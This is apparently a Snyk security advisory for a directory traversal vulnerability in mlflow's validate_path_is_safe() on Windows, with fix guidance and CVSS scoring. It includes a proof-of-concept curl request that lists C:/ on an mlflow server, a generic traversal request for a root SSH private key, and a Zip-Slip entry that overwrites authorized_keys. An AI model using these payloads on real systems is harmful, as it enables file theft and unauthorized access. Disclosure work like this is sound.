Directory Traversal Affecting mlflow package, versions [2.2.0,2.5.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    2.06% (90th percentile)

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  • Snyk ID SNYK-PYTHON-MLFLOW-5781352
  • published 19 Jul 2023
  • disclosed 19 Jul 2023
  • credit Maksym Vatsyk

How to fix?

Upgrade mlflow to version 2.5.0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Directory Traversal via the validate_path_is_safe() function in file /mlflow/server/handlers.py, due to improper sanitization of absolute Windows path with forward slash (/) separators. Exploiting this vulnerability allows to list, download, write, and delete files on the system.

Note: Exploiting this vulnerability is possible only on hosts running Windows operating system.

PoC

# CURL request:
curl -X 'GET' "http://$MLFLOW_SERVER_IP:5000/ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/"

# Response:
{
    "files": [
        {
        "path": "..",
        "is_dir": true
        },
        ...
        {
        "path": "Program Files",
        "is_dir": true
        },
        {
        "path": "Program Files (x86)",
        "is_dir": true
        },
        {
        "path": "ProgramData",
        "is_dir": true
        },
        {
        "path": "Recovery",
        "is_dir": true
        },
        {
        "path": "System Volume Information",
        "is_dir": true
        }
    ]
}

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
10 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

10 critical